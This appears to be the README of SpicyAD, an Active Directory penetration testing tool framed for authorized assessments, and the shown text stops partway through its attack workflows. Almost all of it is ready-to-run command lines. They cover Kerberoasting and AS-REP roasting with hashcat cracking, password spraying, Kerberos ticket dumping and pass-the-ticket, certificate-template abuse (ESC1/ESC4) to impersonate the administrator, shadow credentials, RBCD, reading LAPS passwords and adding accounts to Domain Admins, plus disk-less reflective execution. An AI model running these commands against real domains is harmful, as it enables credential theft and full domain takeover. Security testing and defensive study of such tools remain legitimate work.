░░░░░░░░░░░░░░▐█▀█▄░░░░░░░░░░▄█▀█▌░░░░░░░░░░░░░░
░░░░░░░░░░░░░░█▐▓░█▄░░░░░░░▄█▀▄▓▐█░░░░░░░░░░░░░░
░░░░░░░░░░░░░░█▐▓▓░████▄▄▄█▀▄▓▓▓▌█░░░░░░░░░░░░░░
░░░░░░░░░░░░▄█▌▀▄▓▓▄▄▄▄▀▀▀▄▓▓▓▓▓▌█░░░░░░░░░░░░░░
░░░░░░░░░░▄█▀▀▄▓█▓▓▓▓▓▓▓▓▓▓▓▓▀░▓▌█░░░░░░░░░░░░░░
░░░░░░░░░█▀▄▓▓▓███▓▓▓███▓▓▓▄░░▄▓▐█▌░░░░░░░░░░░░░
░░░░░░░░█▌▓▓▓▀▀▓▓▓▓███▓▓▓▓▓▓▓▄▀▓▓▐█░░░░░░░░░░░░░
░░░░░░░▐█▐██▐░▄▓▓▓▓▓▀▄░▀▓▓▓▓▓▓▓▓▓▌█▌░░░░░░░░░░░░
░░░░░░░█▌███▓▓▓▓▓▓▓▓▐░░▄▓▓███▓▓▓▄▀▐█░░░░░░░░░░░░
░░░░░░░█▐█▓▀░░▀▓▓▓▓▓▓▓▓▓██████▓▓▓▓▐█▌░░░░░░░░░░░
░░░░░░░▓▄▌▀░▀░▐▀█▄▓▓██████████▓▓▓▌█░░░░░░░░░░░░░
_____ ____ ___ ______ __ _ ____
/ ___// __ \/ _/ ____/\ \/ / / \ | _ \
\__ \/ /_/ // // / \ / / _ \ | | | |
___/ / ____// // /___ / / / ___ \| |_| |
/____/_/ /___/\____/ /_/ /_/ \_\____/
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░Active Directory Penetration Testing Tool░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
- Description
- Features
- Installation
- Execution
- Global Options
- Connection Flags
- Commands
- Attack Workflows
- References
- Legal Disclaimer
Disclaimer: This tool was created using my knowledge of Kerberos and Active Directory, together with assistance from Claude-Code. We both may be wrong, so research, test, and modify as needed, it’s your responsibility :)
SpicyAD is a C# Active Directory penetration testing tool designed for authorized security assessments. It combines multiple AD attack techniques into a single, easy-to-use tool with both interactive and command-line interfaces.
Secure by default: SpicyAD automatically detects and uses LDAPS (port 636) when available, falling back to LDAP (port 389) if not. This can be toggled manually via /ldaps flag or in the Settings menu.
| Category | Capabilities |
|---|---|
| Enumeration | Domain info, DCs, users, computers, shares (SYSVOL/NETLOGON/all), trusts, delegations (Unconstrained/Constrained/RBCD), LAPS, certificate templates (ESC1-4, ESC8), BloodHound Ingestor |
| Kerberos Attacks | Kerberoasting (RC4/AES), AS-REP Roasting, Password Spray, Pass-the-Ticket, Targeted Kerberoasting |
| ADCS Attacks | ESC1 (arbitrary SAN), ESC4 (Template Hijacking), PKINIT + UnPAC-the-hash |
| Credentials | Shadow Credentials, RBCD |
| AD Management | Add/delete users, add machines, group management, password changes |
Automatic Attack Chains:
| Chain | Flow |
|---|---|
| ESC4 full | Modify template → ESC1 → PKINIT → Restore |
| ESC1 | Request cert → PKINIT → Extract NT hash |
| Shadow Creds | Add shadow cred → PKINIT → Extract NT hash |
| Targeted Kerberoast | Set SPN → Kerberoast → Restore |
| Password Spray | Enum users + badPwdCount → spray |
- .NET Framework 4.8
- Windows environment
# Using dotnet CLI
dotnet build SpicyAD.csproj -c Release
# Using MSBuild
msbuild SpicyAD.csproj /p:Configuration=Releasebin\Release\net48\SpicyAD.exe
SpicyAD supports three execution methods:
| Method | Use Case |
|---|---|
| Domain-Joined | Running from a machine joined to the target domain |
| Non-Domain-Joined | Running from a workgroup machine or different domain |
| Reflection | In-memory execution without touching disk |
# Domain-Joined
.\SpicyAD.exe
# Non-Domain-Joined
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd
# Reflection
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Run().\SpicyAD.exe [command] [options]Execute SpicyAD without writing to disk using .NET Reflection:
# Load assembly
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe")
# Execute command
[SpicyAD.Program]::Execute("command", "arg1", "arg2")
# Interactive menu
[SpicyAD.Program]::Run()| Option | Description |
|---|---|
/verbose, -v |
Show detailed output |
/log |
Save output to log file (current directory) |
/log:<path> |
Save output to specified path |
Required for non-domain-joined machines:
| Flag | Description | Example |
|---|---|---|
/domain:<fqdn> |
Target domain FQDN | /domain:evilcorp.net |
/dc-ip:<ip> |
Domain Controller IP | /dc-ip:10.10.10.10 |
/user:<user> |
Username for auth | /user:elliot |
/password:<pwd> |
Password for auth | /password:P@ssw0rd |
/dns:<ip> |
DNS server (optional) | /dns:10.10.10.10 |
/ldaps, /ssl |
Use LDAPS (SSL/TLS, port 636) | /ldaps |
BloodHound Ingestor - Collect AD data for BloodHound CE analysis. Generates JSON files compatible with BloodHound Community Edition.
| Option | Description |
|---|---|
/collection:<method> |
Collection method(s) - see table below |
/outputdir:<path> |
Output directory (default: current) |
/zipfilename:<name> |
Custom ZIP filename |
/threads:<n> |
Threads for session/local group enum (default: 10) |
/stealth |
Skip session and local group enumeration |
/pretty |
Pretty-print JSON (larger files) |
Collection Methods:
| Method | Description |
|---|---|
default |
Group, Session, Trusts, ACL, ObjectProps, Container, LocalAdmin |
all |
All collection methods |
dconly |
Group, ACL, Trusts, ObjectProps, Container (no computer enum) |
session |
Network session enumeration (NetSessionEnum) |
localgroup |
Local group membership (LocalAdmin, RDP, DCOM, PSRemote) |
group |
Group membership enumeration |
acl |
Access Control List collection |
trusts |
Domain trust enumeration |
container |
OU, GPO, and container enumeration |
computeronly |
Session and local group enum only |
certservices |
Certificate Templates and Enterprise CAs |
Note: Methods can be combined with comma:
/collection:group,acl,session
Domain-Joined:
# Default collection
.\SpicyAD.exe bloodhound
# All collection methods
.\SpicyAD.exe bloodhound /collection:all
# Stealth mode (LDAP only, no computer enumeration)
.\SpicyAD.exe bloodhound /collection:dconly /stealth
# Session enumeration with 20 threads
.\SpicyAD.exe bloodhound /collection:session /threads:20
# Custom output
.\SpicyAD.exe bloodhound /outputdir:C:\loot /zipfilename:target.zip
# Only certificate services
.\SpicyAD.exe bloodhound /collection:certservices
# With LDAPS (SSL/TLS, port 636)
.\SpicyAD.exe /ldaps bloodhound
.\SpicyAD.exe /ldaps bloodhound /collection:allNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd bloodhound
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd bloodhound /collection:all
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd bloodhound /collection:dconly /stealth
# With LDAPS (SSL/TLS)
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd /ldaps bloodhoundReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("bloodhound")
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("bloodhound", "/collection:all")
# With LDAPS
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/ldaps", "bloodhound")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "bloodhound")
# Non-Domain-Joined with LDAPS
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "/ldaps", "bloodhound")Output: ZIP file containing JSON files for import into BloodHound CE.
Get domain information including name, mode, forest, and machine account quota.
Domain-Joined:
.\SpicyAD.exe domain-infoNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd domain-infoReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("domain-info")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "domain-info")Enumerate domain controllers with IPs, OS versions, sites, and roles.
Domain-Joined:
.\SpicyAD.exe enum-dcsNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd enum-dcsReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("enum-dcs")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "enum-dcs")Enumerate domain users with security-relevant flags (DONT_REQ_PREAUTH, HAS_SPN, DISABLED).
Domain-Joined:
.\SpicyAD.exe enum-usersNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd enum-usersReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("enum-users")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "enum-users")Enumerate domain computers with IP resolution.
Domain-Joined:
.\SpicyAD.exe enum-computersNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd enum-computersReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("enum-computers")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "enum-computers")Enumerate SYSVOL/NETLOGON shares with interesting file detection.
Domain-Joined:
.\SpicyAD.exe enum-sharesNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd enum-sharesReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("enum-shares")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "enum-shares")Enumerate shares on all domain computers or a specific host.
Domain-Joined:
.\SpicyAD.exe find-shares
.\SpicyAD.exe find-shares /target:SERVER01Non-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd find-shares
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd find-shares /target:SERVER01Reflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("find-shares")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "find-shares")Enumerate domain trust relationships.
Domain-Joined:
.\SpicyAD.exe domain-trustsNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd domain-trustsReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("domain-trusts")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "domain-trusts")Enumerate all Kerberos delegations (Unconstrained, Constrained, RBCD).
Domain-Joined:
.\SpicyAD.exe delegationsNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd delegationsReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("delegations")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "delegations")Read LAPS passwords (all computers or specific target).
Domain-Joined:
.\SpicyAD.exe laps
.\SpicyAD.exe laps /target:WORKSTATION01Non-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd laps
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd laps /target:WORKSTATION01Reflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("laps")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "laps")Enumerate vulnerable certificate templates (ESC1-4, ESC8).
Domain-Joined:
.\SpicyAD.exe enum-vulnsNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd enum-vulnsReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("enum-vulns")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "enum-vulns")Enumerate all certificate templates (Certify-style output).
Domain-Joined:
.\SpicyAD.exe enum-certs
.\SpicyAD.exe enum-certs /out:certs.txtNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd enum-certsReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("enum-certs")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "enum-certs")Extract TGS hashes for offline cracking.
Domain-Joined:
.\SpicyAD.exe kerberoastNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd kerberoastReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("kerberoast")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "kerberoast")Crack with Hashcat:
hashcat -m 13100 hash.txt wordlist.txt # RC4
hashcat -m 19600 hash.txt wordlist.txt # AES128
hashcat -m 19700 hash.txt wordlist.txt # AES256Target users without pre-authentication required.
Domain-Joined:
.\SpicyAD.exe asreproastNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd asreproastReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("asreproast")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "asreproast")Crack with Hashcat:
hashcat -m 18200 hash.txt wordlist.txtSet SPN on users you have write access to, then Kerberoast them.
Domain-Joined:
.\SpicyAD.exe targeted-kerberoastNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd targeted-kerberoastReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("targeted-kerberoast")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "targeted-kerberoast")Kerberos-based password spraying.
Domain-Joined:
.\SpicyAD.exe spray /password:Summer2024!
.\SpicyAD.exe spray /password:Summer2024! /delay:1000Non-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd spray /password:Summer2024!Reflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("spray", "/password:Summer2024!")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "spray", "/password:Summer2024!")Dump Kerberos tickets from memory.
Domain-Joined:
.\SpicyAD.exe dump
.\SpicyAD.exe dump /user:administrator
.\SpicyAD.exe dump /service:krbtgt
.\SpicyAD.exe dump /nowrapNon-Domain-Joined:
# Does not require domain context - uses local LSA
.\SpicyAD.exe dumpReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("dump")
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("dump", "/nowrap")Pass-the-Ticket - Import .kirbi tickets into current session.
Domain-Joined:
.\SpicyAD.exe ptt administrator.kirbi
.\SpicyAD.exe ptt /ticket:administrator.kirbiNon-Domain-Joined:
# Does not require domain context - uses local LSA
.\SpicyAD.exe ptt administrator.kirbiReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("ptt", "/ticket:administrator.kirbi")PKINIT - Request TGT using certificate and extract NT hash.
Domain-Joined:
.\SpicyAD.exe asktgt /certificate:admin.pfx /getcredentialsNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 asktgt /certificate:admin.pfx /getcredentialsReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("asktgt", "/certificate:admin.pfx", "/getcredentials")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "asktgt", "/certificate:admin.pfx", "/getcredentials")ESC1 - Request certificate with arbitrary SAN (Subject Alternative Name).
Important: Use
/sidflag for modern DCs with KB5014754 (Strong Certificate Mapping).
Domain-Joined:
.\SpicyAD.exe esc1 /template:VulnTemplate /target:administrator
.\SpicyAD.exe esc1 /template:VulnTemplate /target:administrator /sidNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:lowpriv /password:P@ssw0rd esc1 /template:VulnTemplate /target:administrator /sidReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("esc1", "/template:VulnTemplate", "/target:administrator", "/sid")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:lowpriv", "/password:P@ssw0rd", "esc1", "/template:VulnTemplate", "/target:administrator", "/sid")ESC4 - Template Hijacking. Full attack chain: Backup → Modify → ESC1 → Restore.
Important: Use
/sidflag for modern DCs with KB5014754 (Strong Certificate Mapping).
Domain-Joined:
# List ESC4 vulnerable templates
.\SpicyAD.exe esc4 list
# Full attack chain
.\SpicyAD.exe esc4 /template:VulnTemplate /target:administrator /sid
# Manual steps
.\SpicyAD.exe esc4 backup VulnTemplate
.\SpicyAD.exe esc4 modify VulnTemplate
.\SpicyAD.exe esc1 /template:VulnTemplate /target:administrator /sid
.\SpicyAD.exe esc4 restore VulnTemplate_backup.jsonNon-Domain-Joined:
# List ESC4 vulnerable templates
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:lowpriv /password:P@ssw0rd esc4 list
# Full attack chain
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:lowpriv /password:P@ssw0rd esc4 /template:VulnTemplate /target:administrator /sidReflection:
# List ESC4 vulnerable templates
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("esc4", "list")
# Full attack chain
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("esc4", "/template:VulnTemplate", "/target:administrator", "/sid")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:lowpriv", "/password:P@ssw0rd", "esc4", "/template:VulnTemplate", "/target:administrator", "/sid")Shadow Credentials attack via msDS-KeyCredentialLink.
Important: Use
/sidflag for modern DCs with KB5014754 (Strong Certificate Mapping).
Domain-Joined:
# Add shadow credential
.\SpicyAD.exe shadow-creds add /target:VICTIM$ /sid
# List credentials
.\SpicyAD.exe shadow-creds list /target:VICTIM$
# Remove specific credential
.\SpicyAD.exe shadow-creds remove /target:VICTIM$ /deviceid:<guid>
# Clear all credentials
.\SpicyAD.exe shadow-creds clear /target:VICTIM$Non-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:lowpriv /password:P@ssw0rd shadow-creds add /target:VICTIM$ /sid
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:lowpriv /password:P@ssw0rd shadow-creds list /target:VICTIM$Reflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("shadow-creds", "add", "/target:VICTIM$", "/sid")
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("shadow-creds", "list", "/target:VICTIM$")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:lowpriv", "/password:P@ssw0rd", "shadow-creds", "add", "/target:VICTIM$", "/sid")Resource-Based Constrained Delegation attack.
Domain-Joined:
# Get current RBCD configuration
.\SpicyAD.exe rbcd get /target:SERVER$
# Set RBCD
.\SpicyAD.exe rbcd set /target:SERVER$ /controlled:YOURPC$
# Clear RBCD
.\SpicyAD.exe rbcd clear /target:SERVER$ /forceNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:lowpriv /password:P@ssw0rd rbcd get /target:SERVER$
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:lowpriv /password:P@ssw0rd rbcd set /target:SERVER$ /controlled:YOURPC$Reflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("rbcd", "get", "/target:SERVER$")
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("rbcd", "set", "/target:SERVER$", "/controlled:YOURPC$")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:lowpriv", "/password:P@ssw0rd", "rbcd", "set", "/target:SERVER$", "/controlled:YOURPC$")Add a new user account to the domain.
Domain-Joined:
.\SpicyAD.exe add-user /name:newuser /new-pass:P@ssw0rd123Non-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd add-user /name:newuser /new-pass:P@ssw0rd123Reflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("add-user", "/name:newuser", "/new-pass:P@ssw0rd123")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "add-user", "/name:newuser", "/new-pass:P@ssw0rd123")Delete a user account from the domain.
Domain-Joined:
.\SpicyAD.exe delete-user /target:baduser
.\SpicyAD.exe delete-user /target:baduser /forceNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd delete-user /target:baduser /forceReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("delete-user", "/target:baduser", "/force")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "delete-user", "/target:baduser", "/force")Add a new machine account to the domain.
Domain-Joined:
.\SpicyAD.exe add-machine /name:YOURPC$
.\SpicyAD.exe add-machine /name:YOURPC$ /mac-pass:P@ssw0rd123Non-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd add-machine /name:YOURPC$ /mac-pass:P@ssw0rd123Reflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("add-machine", "/name:YOURPC$", "/mac-pass:P@ssw0rd123")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "add-machine", "/name:YOURPC$", "/mac-pass:P@ssw0rd123")Add a user to a group.
Domain-Joined:
.\SpicyAD.exe add-to-group /member:newuser /group:Domain AdminsNon-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd add-to-group /member:newuser /group:Domain AdminsReflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("add-to-group", "/member:newuser", "/group:Domain Admins")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "add-to-group", "/member:newuser", "/group:Domain Admins")Change a user's password.
Domain-Joined:
.\SpicyAD.exe change-password /target:jdoe /old:OldPass123 /new:NewPass456Non-Domain-Joined:
.\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd change-password /target:jdoe /old:OldPass123 /new:NewPass456Reflection:
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("change-password", "/target:jdoe", "/old:OldPass123", "/new:NewPass456")
# Non-Domain-Joined
[Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "change-password", "/target:jdoe", "/old:OldPass123", "/new:NewPass456")# 1. Collect AD data for BloodHound
.\SpicyAD.exe bloodhound /collection:all
# 2. Import ZIP into BloodHound CE
# Upload the generated ZIP file to BloodHound CE web interface
# 3. Analyze attack paths
# Use BloodHound to identify:
# - Shortest path to Domain Admin
# - Kerberoastable users with paths to high-value targets
# - Misconfigured ACLs and delegation
# - ADCS vulnerabilities# 1. Enumerate vulnerable templates
.\SpicyAD.exe enum-vulns
# 2. Exploit ESC1 (auto-chains to PKINIT)
.\SpicyAD.exe esc1 /template:ESC1 /target:administrator /sid
# 3. Use NT hash or imported ticket# 1. Find ESC4 vulnerable templates
